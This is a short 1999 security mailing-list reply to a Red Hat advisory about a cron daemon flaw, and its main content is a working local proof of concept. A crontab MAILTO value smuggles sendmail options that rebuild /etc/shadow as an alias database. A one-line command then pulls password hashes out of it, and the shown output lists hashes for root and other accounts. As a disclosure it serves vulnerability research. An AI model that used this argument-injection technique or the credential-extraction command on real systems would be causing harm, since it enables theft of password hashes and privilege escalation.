Re: [RHSA-1999:030-01] Buffer overflow in cron daemon

[lcamtuf () IDS PL (Michal Zalewski)]

On Wed, 25 Aug 1999, Bill Nottingham wrote:

> To the best of our knowledge, no known exploits exist at this time.
>
> Also, it was possible to use specially formatted 'MAILTO' environment
> variables to send commands to sendmail.

Oh, something from scratch:

[[lcamtuf@onehost lcamtuf]$ crontab -l
MAILTO='-bi -O AliasFile=/etc/shadow'

* * * * * nonexistent
[[lcamtuf@onehost lcamtuf]$ sleep 60
[[lcamtuf@onehost lcamtuf]$ strings -n 2 /etc/shadow.db|awk -F: '$2==""{print " - " $1 }$2!=""{printf $1}'|grep -v '*'
I15hybS.C.S1. - lcamtuf
hA/p45.MNqAtO - root
YoYwL/aBGnfAsRQ - testy

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